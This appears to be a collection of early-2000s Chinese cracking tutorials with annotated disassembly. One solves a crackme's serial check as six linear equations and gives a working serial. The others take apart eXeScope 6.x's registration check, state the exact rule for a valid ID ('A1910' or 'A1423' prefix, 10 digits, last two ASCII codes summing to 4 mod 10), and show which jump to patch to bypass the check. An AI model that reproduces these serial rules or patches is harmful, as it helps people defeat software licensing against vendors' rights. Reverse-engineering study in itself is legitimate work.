:0040157D C78424A40000009A99193F mov dword ptr [esp+000000A4], 3F19999A
:00401588 C78424A8000000CDCCCC3E mov dword ptr [esp+000000A8], 3ECCCCCD
:00401593 C78424AC000000CDCC4CBF mov dword ptr [esp+000000AC], BF4CCCCD
:0040159E C78424B00000009A99193F mov dword ptr [esp+000000B0], 3F19999A
:004015A9 C78424B4000000CDCCCCBE mov dword ptr [esp+000000B4], BECCCCCD
:004015B4 C78424B8000000CDCC4C3E mov dword ptr [esp+000000B8], 3E4CCCCD
:004015BF C78424BC000000CDCC4C3E mov dword ptr [esp+000000BC], 3E4CCCCD
:004015CA C78424C0000000CDCC4CBE mov dword ptr [esp+000000C0], BE4CCCCD
:004015D5 C78424C4000000CDCCCC3E mov dword ptr [esp+000000C4], 3ECCCCCD
:004015E0 C78424C8000000CDCC4C3E mov dword ptr [esp+000000C8], 3E4CCCCD
:004015EB C78424CC0000009A99193F mov dword ptr [esp+000000CC], 3F19999A
:004015F6 C78424D0000000CDCC4C3E mov dword ptr [esp+000000D0], 3E4CCCCD
:00401601 C78424D4000000CDCC4CBF mov dword ptr [esp+000000D4], BF4CCCCD
:0040160C C78424D8000000CDCC4CBE mov dword ptr [esp+000000D8], BE4CCCCD
:00401617 C78424DC000000CDCCCC3E mov dword ptr [esp+000000DC], 3ECCCCCD
:00401622 C78424E0000000CDCC4C3E mov dword ptr [esp+000000E0], 3E4CCCCD
:0040162D 895C2434 mov dword ptr [esp+34], ebx
:00401631 894C2448 mov dword ptr [esp+48], ecx

* Reference To: USER32.SendMessageA, Ord:0000h
|
:00401635 FF15F0804000 Call dword ptr [004080F0]
:0040163B 6A64 push 00000064
:0040163D 8B0DC49D4000 mov ecx, dword ptr [00409DC4]

* Reference To: USER32.GetWindowTextA, Ord:0000h
|
:00401643 8B35D0804000 mov esi, dword ptr [004080D0]
:00401649 8D84243C010000 lea eax, dword ptr [esp+0000013C]
:00401650 50 push eax
:00401651 51 push ecx
:00401652 FFD6 call esi
:00401654 A1C09D4000 mov eax, dword ptr [00409DC0]
:00401659 8D9424D4000000 lea edx, dword ptr [esp+000000D4]
:00401660 6A64 push 00000064
:00401662 52 push edx
:00401663 50 push eax
:00401664 FFD6 call esi
:00401666 8DBC2438010000 lea edi, dword ptr [esp+00000138]
:0040166D 83C9FF or ecx, FFFFFFFF
:00401670 33C0 xor eax, eax
:00401672 F2 repnz
:00401673 AE scasb
:00401674 F7D1 not ecx
:00401676 49 dec ecx
:00401677 83F904 cmp ecx, 00000004
:0040167A 7311 jnb 0040168D
//输入名字不少于4个字符(在此处无用)
:0040167C 6A30 push 00000030
:0040167E 68CC9D4000 push 00409DCC

* Possible StringData Ref from Data Obj ->"The name must contain at least "
->"4 chars!"
|
:00401683 68D4914000 push 004091D4
:00401688 E97D010000 jmp 0040180A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040167A(C)
|
:0040168D 8DBC24D4000000 lea edi, dword ptr [esp+000000D4]
:00401694 83C9FF or ecx, FFFFFFFF
:00401697 33C0 xor eax, eax
:00401699 F2 repnz
:0040169A AE scasb
:0040169B F7D1 not ecx
:0040169D 49 dec ecx
:0040169E 83F901 cmp ecx, 00000001
:004016A1 7324 jnb 004016C7
//总得输入点什么吧
:004016A3 8B942404020000 mov edx, dword ptr [esp+00000204]
:004016AA 6A30 push 00000030
:004016AC 68CC9D4000 push 00409DCC

* Possible StringData Ref from Data Obj ->"Enter a serial, bunghole!!!"
|
:004016B1 68B8914000 push 004091B8
:004016B6 52 push edx

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:004016B7 FF15CC804000 Call dword ptr [004080CC]
:004016BD 5F pop edi
:004016BE 5E pop esi
:004016BF 5B pop ebx
:004016C0 81C4F4010000 add esp, 000001F4
:004016C6 C3 ret
/////////////////////////////////////////////////////////////////////
//
// 注册码验程序的关键部分
//
/////////////////////////////////////////////////////////////////////
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004016A1(C)
|
:004016C7 8D442420 lea eax, dword ptr [esp+20]
:004016CB 8D4C241C lea ecx, dword ptr [esp+1C]
:004016CF 50 push eax
:004016D0 8D54241C lea edx, dword ptr [esp+1C]
:004016D4 51 push ecx
:004016D5 8D44241C lea eax, dword ptr [esp+1C]
:004016D9 52 push edx
:004016DA 8D4C241C lea ecx, dword ptr [esp+1C]
:004016DE 50 push eax
:004016DF 8D54241C lea edx, dword ptr [esp+1C]
:004016E3 51 push ecx
:004016E4 52 push edx
:004016E5 8D8424EC000000 lea eax, dword ptr [esp+000000EC]

* Possible StringData Ref from Data Obj ->"%lu-%lu-%lu-%lu-%lu-%lu"
|
:004016EC 68A0914000 push 004091A0
:004016F1 50 push eax
:004016F2 E82B030000 call 00401A22
:004016F7 83C420 add esp, 00000020
:004016FA 83F806 cmp eax, 00000006
:004016FD 7411 je 00401710
//第一处判断，根据上下文可以知道在判
//断输入注册码的格式
:004016FF 6A30 push 00000030
:00401701 68CC9D4000 push 00409DCC

* Possible StringData Ref from Data Obj ->"pfff...:(((("
|
:00401706 6890914000 push 00409190
:0040170B E9FA000000 jmp 0040180A
/////////////////////////////////////////////////////////////////////
//
// 真正的校验运算开始
//
// 实际上，这是一个6元一次方程问题
//
// 我这里的RegNum：223201-420003-2529-33-39178-3074
// (这个号码与机器有关)
//
// X1*-0.2 + X2*-0.4 + X3* 0.6 +X4* 0.4 + X5* 0.2 + X6*-0.4 = 223201 - ①
// X1*-0.4 + X2* 0.2 + X3* 0.2 +X4* 0.8 + X5*-0.6 + X6* 0.2 = 420003 - ②
// X1* 0.8 + X2* 0.6 + X3*-0.4 +X4*-0.6 + X5* 0.2 + X6*-0.4 = 2529 - ③
// X1*-0.2 + X2*-0.4 + X3* 0.6 +X4* 0.4 + X5*-0.8 + X6* 0.6 = 33 - ④
// X1*-0.4 + X2* 0.2 + X3* 0.2 +X4*-0.2 + X5* 0.4 + X6* 0.2 = 39178 - ⑤
// X1* 0.6 + X2* 0.2 + X3*-0.8 +X4*-0.2 + X5* 0.4 + X6* 0.2 = 3074 - ⑥
//
/////////////////////////////////////////////////////////////////////
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004016FD(C)
|
:00401710 55 push ebp
:00401711 8D442448 lea eax, dword ptr [esp+48]
:00401715 8D742428 lea esi, dword ptr [esp+28]
:00401719 BF06000000 mov edi, 00000006

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040174B(C)
|
:0040171E D906 fld dword ptr [esi]
:00401720 8D4C2410 lea ecx, dword ptr [esp+10]
:00401724 BA06000000 mov edx, 00000006

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401743(C)
|
:00401729 8B29 mov ebp, dword ptr [ecx]
:0040172B 895C2444 mov dword ptr [esp+44], ebx
:0040172F 896C2440 mov dword ptr [esp+40], ebp
:00401733 83C004 add eax, 00000004
:00401736 DF6C2440 fild qword ptr [esp+40]
:0040173A 83C104 add ecx, 00000004
:0040173D 4A dec edx
:0040173E D848FC fmul dword ptr [eax-04]
:00401741 DEC1 faddp st(1), st(0)
:00401743 75E4 jne 00401729
:00401745 D91E fstp dword ptr [esi]
:00401747 83C604 add esi, 00000004
:0040174A 4F dec edi
:0040174B 75D1 jne 0040171E
/////////////////////////////////////////////////////////////////////
:0040174D D944243C fld dword ptr [esp+3C]
:00401751 83EC08 sub esp, 00000008
:00401754 8D9424A8010000 lea edx, dword ptr [esp+000001A8]
:0040175B DD1C24 fstp qword ptr [esp]
:0040175E D9442440 fld dword ptr [esp+40]
:00401762 83EC08 sub esp, 00000008
:00401765 DD1C24 fstp qword ptr [esp]
:00401768 D9442444 fld dword ptr [esp+44]
:0040176C 83EC08 sub esp, 00000008
:0040176F DD1C24 fstp qword ptr [esp]
:00401772 D9442448 fld dword ptr [esp+48]
:00401776 83EC08 sub esp, 00000008
:00401779 DD1C24 fstp qword ptr [esp]
:0040177C D944244C fld dword ptr [esp+4C]
:00401780 83EC08 sub esp, 00000008
:00401783 DD1C24 fstp qword ptr [esp]
:00401786 D9442450 fld dword ptr [esp+50]
:0040178A 83EC08 sub esp, 00000008
:0040178D DD1C24 fstp qword ptr [esp]

* Possible StringData Ref from Data Obj ->"%.0f-%.0f-%.0f-%.0f-%.0f-%.0f"
|
:00401790 6870914000 push 00409170
:00401795 52 push edx
:00401796 E835020000 call 004019D0
//由输入的注册码进行运算后的结果应该
//等于给出的字符串
:0040179B 83C438 add esp, 00000038
:0040179E 8DB4243C010000 lea esi, dword ptr [esp+0000013C]
:004017A5 8D8424A0010000 lea eax, dword ptr [esp+000001A0]
:004017AC 5D pop ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004017CB(C)
|
:004017AD 8A10 mov dl, byte ptr [eax]
:004017AF 8ACA mov cl, dl
:004017B1 3A16 cmp dl, byte ptr [esi]
:004017B3 751C jne 004017D1
:004017B5 3ACB cmp cl, bl
:004017B7 7414 je 004017CD
:004017B9 8A5001 mov dl, byte ptr [eax+01]
:004017BC 8ACA mov cl, dl
:004017BE 3A5601 cmp dl, byte ptr [esi+01]
:004017C1 750E jne 004017D1
:004017C3 83C002 add eax, 00000002
:004017C6 83C602 add esi, 00000002
:004017C9 3ACB cmp cl, bl
:004017CB 75E0 jne 004017AD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004017B7(C)
|
:004017CD 33C0 xor eax, eax
:004017CF EB05 jmp 004017D6

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004017B3(C), :004017C1(C)
|
:004017D1 1BC0 sbb eax, eax
:004017D3 83D8FF sbb eax, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004017CF(U)
|
:004017D6 3BC3 cmp eax, ebx
:004017D8 7524 jne 004017FE
:004017DA 8B842404020000 mov eax, dword ptr [esp+00000204]
:004017E1 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"Good Boy!"
|
:004017E3 6864914000 push 00409164

* Possible StringData Ref from Data Obj ->"You made it!"
|
:004017E8 6854914000 push 00409154
:004017ED 50 push eax

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:004017EE FF15CC804000 Call dword ptr [004080CC]
:004017F4 5F pop edi
:004017F5 5E pop esi
:004017F6 5B pop ebx
:004017F7 81C4F4010000 add esp, 000001F4
:004017FD C3 ret
/////////////////////////////////////////////////////////////////////
//
// 我的结果：228838-461710-264942-646278-265453-42285
//
/////////////////////////////////////////////////////////////////////
//
// 呵呵，其实算法不难，就是方程组难解(数学忘光了)
//
// 至于注册机嘛，就是解方程了。不过这个方程解起来可以偷懒。
//
/////////////////////////////////////////////////////////////////////


eXeScope

破解心得之eXeScope篇

破解心得之eXeScope篇

作者：时空幻影
时间：2001年6月26日
使用工具：Fileinfo v2.43、W32DSM白金版汉化版、TRW2000 v1.22

由于这个软件没有加壳，因此破解相对容易一些，且注册算法也不复杂，很适合初学者破解。
先执行TRW2000，然后运行该软件，填好Your Name和ID后，按Ctrl+N激活TRW2000，然后键入"BPX HMEMCPY"，
按F5跳回程序，然后点OK就会被拦下，再键入"pmodule"，继续按F10。
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A7BAA(C)
|
:004A7BBE 8D55F0 lea edx, dword ptr [ebp-10]
:004A7BC1 8B45FC mov eax, dword ptr [ebp-04]
:004A7BC4 8B80D0020000 mov eax, dword ptr [eax+000002D0]
:004A7BCA E885B7F8FF call 00433354
:004A7BCF 8B55F0 mov edx, dword ptr [ebp-10] <--经过几个RET以后来到这里
:004A7BD2 A1B8594B00 mov eax, dword ptr [004B59B8]
:004A7BD7 E830C0F5FF call 00403C0C
:004A7BDC 8D55EC lea edx, dword ptr [ebp-14]
:004A7BDF 8B45FC mov eax, dword ptr [ebp-04]
:004A7BE2 8B80D4020000 mov eax, dword ptr [eax+000002D4]
:004A7BE8 E867B7F8FF call 00433354
:004A7BED 8B55EC mov edx, dword ptr [ebp-14]
:004A7BF0 A134594B00 mov eax, dword ptr [004B5934]
:004A7BF5 E812C0F5FF call 00403C0C
:004A7BFA 8B1534594B00 mov edx, dword ptr [004B5934]
:004A7C00 8B12 mov edx, dword ptr [edx]
:004A7C02 A174574B00 mov eax, dword ptr [004B5774]
:004A7C07 8B00 mov eax, dword ptr [eax]
:004A7C09 E8DA8D0000 call 004B09E8 <--核心CALL，按F8进入
:004A7C0E 84C0 test al, al
:004A7C10 0F8498000000 je 004A7CAE <--一定不能跳转
:004A7C16 A1B8594B00 mov eax, dword ptr [004B59B8]
:004A7C1B 8B00 mov eax, dword ptr [eax]
:004A7C1D E816C2F5FF call 00403E38
:004A7C22 85C0 test eax, eax
:004A7C24 0F8E84000000 jle 004A7CAE <--一定不能跳转
:004A7C2A 8D55E4 lea edx, dword ptr [ebp-1C]
:004A7C2D A1C4594B00 mov eax, dword ptr [004B59C4]
:004A7C32 8B00 mov eax, dword ptr [eax]
:004A7C34 E82F9BFAFF call 00451768
:004A7C39 8B45E4 mov eax, dword ptr [ebp-1C]
:004A7C3C 8D4DE8 lea ecx, dword ptr [ebp-18]

* Possible StringData Ref from Code Obj ->".ini"
|
:004A7C3F BA0C7D4A00 mov edx, 004A7D0C
:004A7C44 E8F319F6FF call 0040963C
:004A7C49 8B4DE8 mov ecx, dword ptr [ebp-18]
:004A7C4C B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"XuG"
|
:004A7C4E A1906E4700 mov eax, dword ptr [00476E90]
:004A7C53 E8E0F2FCFF call 00476F38
:004A7C58 8945F8 mov dword ptr [ebp-08], eax
:004A7C5B A1B8594B00 mov eax, dword ptr [004B59B8]
:004A7C60 8B00 mov eax, dword ptr [eax]
:004A7C62 50 push eax

* Possible StringData Ref from Code Obj ->"Name"
|
:004A7C63 B91C7D4A00 mov ecx, 004A7D1C

* Possible StringData Ref from Code Obj ->"Reg"
|
:004A7C68 BA2C7D4A00 mov edx, 004A7D2C
:004A7C6D 8B45F8 mov eax, dword ptr [ebp-08]
:004A7C70 8B18 mov ebx, dword ptr [eax]
:004A7C72 FF5304 call [ebx+04]
:004A7C75 A134594B00 mov eax, dword ptr [004B5934]
:004A7C7A 8B00 mov eax, dword ptr [eax]
:004A7C7C 50 push eax

* Possible StringData Ref from Code Obj ->"Reg"
|
:004A7C7D BA2C7D4A00 mov edx, 004A7D2C
:004A7C82 B9387D4A00 mov ecx, 004A7D38
:004A7C87 8B45F8 mov eax, dword ptr [ebp-08]
:004A7C8A 8B18 mov ebx, dword ptr [eax]
:004A7C8C FF5304 call [ebx+04]
:004A7C8F 8B45F8 mov eax, dword ptr [ebp-08]
:004A7C92 E83DB2F5FF call 00402ED4
:004A7C97 A17C574B00 mov eax, dword ptr [004B577C]
:004A7C9C C60001 mov byte ptr [eax], 01
:004A7C9F 8B45FC mov eax, dword ptr [ebp-04]
:004A7CA2 C7803402000001000000 mov dword ptr [ebx+00000234], 00000001
:004A7CAC EB20 jmp 004A7CCE

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A7C10(C), :004A7C24(C)
|
:004A7CAE 6A00 push 00000000
:004A7CB0 8D55E0 lea edx, dword ptr [ebp-20]

* Possible StringData Ref from Code Obj ->"Invalid ID or Name;搊榐ID傑偨偼柤慜偑柍岠偱偡" <--错误信息对话框
|
:004A7CB3 B8447D4A00 mov eax, 004A7D44
:004A7CB8 E8D79D0000 call 004B1A94
:004A7CBD 8B45E0 mov eax, dword ptr [ebp-20]
:004A7CC0 668B0D747D4A00 mov cx, word ptr [004A7D74]
:004A7CC7 B201 mov dl, 01
:004A7CC9 E88E01FBFF call 00457E5C

在上面的核心CALL按F8进入后会来到如下地方：
* Referenced by a CALL at Addresses:
|:004A7C09 , :004B088C
|
:004B09E8 55 push ebp
:004B09E9 8BEC mov ebp, esp
:004B09EB 83C4F0 add esp, FFFFFFF0
:004B09EE 8955F8 mov dword ptr [ebp-08], edx
:004B09F1 8945FC mov dword ptr [ebp-04], eax
:004B09F4 8B45F8 mov eax, dword ptr [ebp-08]
:004B09F7 E8F035F5FF call 00403FEC
:004B09FC 33C0 xor eax, eax
:004B09FE 55 push ebp
:004B09FF 689F0A4B00 push 004B0A9F
:004B0A04 64FF30 push dword ptr fs:[eax]
:004B0A07 648920 mov dword ptr fs:[eax], esp
:004B0A0A C645F700 mov [ebp-09], 00
:004B0A0E 8B45F8 mov eax, dword ptr [ebp-08]
:004B0A11 E82234F5FF call 00403E38 <--求ID长度
:004B0A16 83F80A cmp eax, 0000000A <--判断ID的长度是否等于10
:004B0A19 756E jne 004B0A89 <--不等的话跳转，一定不能跳转
:004B0A1B 8B55F8 mov edx, dword ptr [ebp-08]

* Possible StringData Ref from Code Obj ->"A1910"
|
:004B0A1E B8B80A4B00 mov eax, 004B0AB8 <--[004B0AB8]为"A1910"
:004B0A23 E8FC36F5FF call 00404124 <--判断ID的前五个字符是否为"A1910"
:004B0A28 48 dec eax
:004B0A29 7410 je 004B0A3B
:004B0A2B 8B55F8 mov edx, dword ptr [ebp-08]

* Possible StringData Ref from Code Obj ->"A1423"
|
:004B0A2E B8C80A4B00 mov eax, 004B0AC8 <--[004B0AC8]为"A1423"
:004B0A33 E8EC36F5FF call 00404124 <--判断ID的前五个字符是否为"A1423"
:004B0A38 48 dec eax
:004B0A39 754E jne 004B0A89 <--这个一定不能跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B0A29(C)
|
:004B0A3B C745F002000000 mov [ebp-10], 00000002

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B0A65(C)
|
:004B0A42 8B45F8 mov eax, dword ptr [ebp-08]
:004B0A45 8B55F0 mov edx, dword ptr [ebp-10]
:004B0A48 8A4410FF mov al, byte ptr [eax+edx-01]
:004B0A4C 3C30 cmp al, 30
:004B0A4E 7239 jb 004B0A89
:004B0A50 8B45F8 mov eax, dword ptr [ebp-08]
:004B0A53 8B55F0 mov edx, dword ptr [ebp-10]
:004B0A56 8A4410FF mov al, byte ptr [eax+edx-01]
:004B0A5A 3C39 cmp al, 39
:004B0A5C 772B ja 004B0A89
:004B0A5E FF45F0 inc [ebp-10]
:004B0A61 837DF00B cmp dword ptr [ebp-10], 0000000B
:004B0A65 75DB jne 004B0A42
:004B0A67 8B45F8 mov eax, dword ptr [ebp-08]
:004B0A6A 0FB64008 movzx eax, byte ptr [eax+08] <--输入的ID的倒数第二个字符的ASCII码送入EAX
:004B0A6E 8B55F8 mov edx, dword ptr [ebp-08]
:004B0A71 0FB65209 movzx edx, byte ptr [edx+09] <--输入的ID的倒数最后一个字符的ASCII码送入EDX
:004B0A75 03C2 add eax, edx
:004B0A77 B90A000000 mov ecx, 0000000A
:004B0A7C 33D2 xor edx, edx
:004B0A7E F7F1 div ecx <--EAX除以10
:004B0A80 83FA04 cmp edx, 00000004 <--比较余数是否等于4
:004B0A83 7504 jne 004B0A89 <--不等于4的话则跳转，一定不能跳转
:004B0A85 C645F701 mov [ebp-09], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004B0A19(C), :004B0A39(C), :004B0A4E(C), :004B0A5C(C), :004B0A83(C)
|
:004B0A89 33C0 xor eax, eax
:004B0A8B 5A pop edx
:004B0A8C 59 pop ecx
:004B0A8D 59 pop ecx
:004B0A8E 648910 mov dword ptr fs:[eax], edx
:004B0A91 68A60A4B00 push 004B0AA6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B0AA4(U)
|
:004B0A96 8D45F8 lea eax, dword ptr [ebp-08]
:004B0A99 E81A31F5FF call 00403BB8
:004B0A9E C3 ret

现在我们知道了注册码的形式为A1910xxxxx或A1423xxxxx，其中第6、7、8个字符为任意字符，而第9、10个字符的ASCII
码的和的个位数为4就可以正确的注册了！！


exescope v6.00

 序 号:45412
标 题:我的第？篇破文（exescope v6.00） (5千字)
发信人:exdata
时 间:2001-12-21 12:33:40
详细信息:
我的第？篇破文（exescope v6.00）：
在 Dede中看到一个可疑的跳转004807D8：jz 0048086B
用鼠标双击跳到00480870：Invalid ID or Name，呵呵知道了吧：）

|
004807D1 E85A790000 call 00488130
004807D6 84C0 test al, al ->改这里让下一

个jz不跳就注册成功！！！，来硬的修改这里就好了。
004807D8 0F848D000000 jz 0048086B

///////////////////////////////////////////////////////////////////
* Possible String Reference to: 'Invalid ID or Name;搊榐ID傑偨偼柤慜
| 偑柍岠偱偡'
|
00480870 B8FC084800 mov eax, $004808FC

|
00480875 E8C625FDFF call 00452E40
0048087A 8B45F8 mov eax, [ebp-$08]
0048087D 668B0D2C094800 mov cx, word ptr [$48092C]
00480884 B201 mov dl, $01

|
00480886 E841D7FBFF call 0043DFCC
0048088B 33C0 xor eax, eax
0048088D 5A pop edx
0048088E 59 pop ecx
0048088F 59 pop ecx
00480890 648910 mov fs:[eax], edx

****** FINALLY
|

///////////////////////////////////////////////////////////////////////

/////////////////
注册判断程序：
004807D1 E85A790000 call 00488130
跳入
///////////////////////////////////////////////////////////////////////

////////////////
00488130 55 push ebp
00488131 8BEC mov ebp, esp
00488133 51 push ecx
00488134 53 push ebx
00488135 8955FC mov [ebp-$04], edx
00488138 8B45FC mov eax, [ebp-$04]

|
0048813B E8F0BBF7FF call 00403D30
00488140 33C0 xor eax, eax
00488142 55 push ebp

* Possible String Reference to: '檠摈�腽嬅[Y]?
|
00488143 68B2814800 push $004881B2

***** TRY
|
00488148 64FF30 push dword ptr fs:[eax]
0048814B 648920 mov fs:[eax], esp
0048814E 33DB xor ebx, ebx
00488150 8B45FC mov eax, [ebp-$04]

|
00488153 E824BAF7FF call 00403B7C
00488158 83F80A cmp eax, +$0A ->判断注册码长

度是否为10位
0048815B 753F jnz 0048819C ->Y不跳,
0048815D 8B55FC mov edx, [ebp-$04]

* Possible String Reference to: 'A1910' - >A191是密码的

前四位
|
00488160 B8C8814800 mov eax, $004881C8

|
00488165 E89EBCF7FF call 00403E08
0048816A 48 dec eax
0048816B 7410 jz 0048817D
0048816D 8B55FC mov edx, [ebp-$04]

* Possible String Reference to: 'A1423' - >好象没什么用
|
00488170 B8D8814800 mov eax, $004881D8

|
00488175 E88EBCF7FF call 00403E08
0048817A 48 dec eax
0048817B 751F jnz 0048819C
0048817D 8B45FC mov eax, [ebp-$04]
00488180 0FB64008 movzx eax, byte ptr [eax+$08]

->eax:倒数第二位ASCII码
00488184 8B55FC mov edx, [ebp-$04]
00488187 0FB65209 movzx edx, byte ptr [edx+$09]

->edx:倒数第1位ASCII码
0048818B 03C2 add eax, edx

->eax:倒数两位ASCII码之和
0048818D B90A000000 mov ecx, $0000000A
00488192 99 cdq ->CDQ 双字扩展. (

把EAX中的字的符号扩展到EDX中去)
00488193 F7F9 idiv ecx ->IDIV 整数除法. 商

回送AL,余数回送AH, (字节运算);
或 商回送AX,余

数回送DX, (字运算).
00488195 83FA04 cmp edx, +$04 ->余4就

对了，如(A1910???35)
00488198 7502 jnz 0048819C

->码不正确时跳
0048819A B301 mov bl, $01
0048819C 33C0 xor eax, eax
0048819E 5A pop edx
0048819F 59 pop ecx
004881A0 59 pop ecx
004881A1 648910 mov fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '嬅[Y]?
|
004881A4 68B9814800 push $004881B9
004881A9 8D45FC lea eax, [ebp-$04]

|
004881AC E84FB7F7FF call 00403900
004881B1 C3 ret

004881B2 E9D1B1F7FF jmp 00403388
004881B7 EBF0 jmp 004881A9

****** END
|
004881B9 8BC3 mov eax, ebx
004881BB 5B pop ebx
004881BC 59 pop ecx
004881BD 5D pop ebp
004881BE C3 ret

///////////////////////////////////////////////////////////////////////

//////
得到注册码长度：
///////////////////////////////////////////////////////////////////////

/////
00403B7C 85C0 test eax, eax
00403B7E 7403 jz 00403B83
00403B80 8B40FC mov eax, [eax-$04] -》长度
00403B83 C3 ret

///////////////////////////////////////////////////////////////////

:)注册ID与用户名无关；
:)ID前四位固定为A1910；
:)ID位数固定为10位；
:)ID第6、7、8位任意；
:)ID第9、10位ASCII码之和除以0x0A(10D)余4就正确！！！

it's your mama! 晚上网上一看，exescope 630出来了，还有注册机，看看生成

的注册码，大同小异，其实没必要写什么注册机（学编程？？），用一个码就行

了。


eXeScope6.10

标 题:eXeScope6.10
发信人: 飞狐
时 间:2002/02/26 08:55pm
详细信息:

eXeScope6.10PJ适合于初学者。
eXeScope6.10是一个能够直接编辑可执行文件的资源编辑器.它能够分析并改写 EXE、DLL、OCX 等文件的资源。而且这是不需要源代码的。几乎支持所有的资源格式，比如菜单、对话框、字符串、消息表、图标、光标、 位图、快捷键列表、版本信息、Delphi 窗体，WAV 文件、MIDI、AVI、GIF、HTML、JPEG、工具栏。而且，eXeScope 能够分析并显示 导入/导出 函数和在 DLL、OCX 中的类型库等等。
使用的工具是TRW2000（本软件用WIN32DASM也可pj，下文的代码就是用它分析的。）
1、运行TRW2000装入eXeScope6.10，输入注册码。
2、CTRL＋N回到TRW2000，设中断BPX　HMEMCPY后按CTRL＋N后按确定，拦截成功
3、按F12键7次，然后慢按F10键，很快看到如下代码（^_^请下面的解释）：
:004A60FA 8D55FC lea edx, dword ptr [ebp-04]
:004A60FD 8B83D0020000 mov eax, dword ptr [ebx+000002D0]
:004A6103 E8F4DAF8FF call 00433BFC
:004A6108 8B55FC mov edx, dword ptr [ebp-04]
:004A610B A1C4294B00 mov eax, dword ptr [004B29C4]
:004A6110 E8F7DAF5FF call 00403C0C
:004A6115 8D55F8 lea edx, dword ptr [ebp-08]
:004A6118 8B83D4020000 mov eax, dword ptr [ebx+000002D4]
:004A611E E8D9DAF8FF call 00433BFC
:004A6123 8B55F8 mov edx, dword ptr [ebp-08]
:004A6126 A140294B00 mov eax, dword ptr [004B2940]
:004A612B E8DCDAF5FF call 00403C0C
:004A6130 8B1540294B00 mov edx, dword ptr [004B2940]
:004A6136 8B12 mov edx, dword ptr [edx] 输入的密码
:004A6138 A17C274B00 mov eax, dword ptr [004B277C]
:004A613D 8B00 mov eax, dword ptr [eax]
:004A613F E8D8800000 call 004AE21C *********关键处，按F8进入。见①处
:004A6144 84C0 test al, al
:004A6146 0F848D000000 je 004A61D9失败则跳。见⑤处。
:004A614C A1C4294B00 mov eax, dword ptr [004B29C4]
:004A6151 8B00 mov eax, dword ptr [eax]
:004A6153 E8E0DCF5FF call 00403E38
:004A6158 85C0 test eax, eax
:004A615A 7E7D jle 004A61D9
:004A615C 8D55F0 lea edx, dword ptr [ebp-10]
:004A615F A1D0294B00 mov eax, dword ptr [004B29D0]
:004A6164 8B00 mov eax, dword ptr [eax]
:004A6166 E8A5BEFAFF call 00452010
:004A616B 8B45F0 mov eax, dword ptr [ebp-10]
:004A616E 8D4DF4 lea ecx, dword ptr [ebp-0C]

①**************************************************************
下面的代码是判断你输入的注册码的的字符数以及前五位是否等于A1910或A1423
:004AE21C 55 push ebp
:004AE21D 8BEC mov ebp, esp
:004AE21F 51 push ecx
:004AE220 53 push ebx
:004AE221 8955FC mov dword ptr [ebp-04], edx
:004AE224 8B45FC mov eax, dword ptr [ebp-04]输入的密码
:004AE227 E8C05DF5FF call 00403FEC
:004AE22C 33C0 xor eax, eax
:004AE22E 55 push ebp
:004AE22F 68BEE24A00 push 004AE2BE
:004AE234 64FF30 push dword ptr fs:[eax]
:004AE237 648920 mov dword ptr fs:[eax], esp
:004AE23A 33DB xor ebx, ebx
:004AE23C 8B45FC mov eax, dword ptr [ebp-04]输入的密码
:004AE23F E8F45BF5FF call 00403E38　计算密码的长度。
:004AE244 83F80A cmp eax, 0000000A
:004AE247 755F jne 004AE2A8　如果不是10个字节就跳。
:004AE249 8B55FC mov edx, dword ptr [ebp-04]输入的密码

* Possible StringData Ref from Code Obj ->"A1910"
|
:004AE24C B8D4E24A00 mov eax, 004AE2D4真正密码的前五位A1910
:004AE251 E8CE5EF5FF call 00404124按F8进入见②处
:004AE256 48 dec eax EAX是否为零。
:004AE257 7410 je 004AE269成功则跳，见③处。不相同则比较输入的字符串的前五位是否为A1423。见下面代码。
:004AE259 8B55FC mov edx, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"A1423"它也是真正密码的前五位
|
:004AE25C B8E4E24A00 mov eax, 004AE2E4
:004AE261 E8BE5EF5FF call 00404124按F8进入，见②处
:004AE266 48 dec eax是否为零。
:004AE267 753F jne 004AE2A8失败则跳。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004AE257(C)
③***************************************************
下面的代码是计算你输入的注册码的后两位之和除以0A的余数是否为4。
:004AE269 B802000000 mov eax, 00000002设EAX为2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004AE286(C)
|
:004AE26E 8B55FC mov edx, dword ptr [ebp-04]须EDX是你输入的注册码。
:004AE271 8A5402FF mov dl, byte ptr [edx+eax-01]把输入的注册码的第二位赋值给dl。下面的代码是判断输入的密码是否为数字，不是则失败。
:004AE275 80FA30 cmp dl, 30　比较是否为数字
:004AE278 722E jb 004AE2A8不是则跳
:004AE27A 8B4DFC mov ecx, dword ptr [ebp-04]
:004AE27D 80FA39 cmp dl, 39
:004AE280 7726 ja 004AE2A8
:004AE282 40 inc eax　EAX加1
:004AE283 83F80B cmp eax, 0000000B是否循环完毕。
:004AE286 75E6 jne 004AE26E没有循环完则继续。
:004AE288 8B45FC mov eax, dword ptr [ebp-04]　EAX为你输入的注册码。
:004AE28B 0FB64008 movzx eax, byte ptr [eax+08]把输入的注册码的第9位赋值给EAX。
:004AE28F 8B55FC mov edx, dword ptr [ebp-04]
:004AE292 0FB65209 movzx edx, byte ptr [edx+09]
把输入的注册码的最后一位赋值给EDX。
:004AE296 03C2 add eax, edx二者相加
:004AE298 B90A000000 mov ecx, 0000000A*******注意此数。
:004AE29D 33D2 xor edx, edx清0，准备下一步运算
:004AE29F F7F1 div ecx除以0A
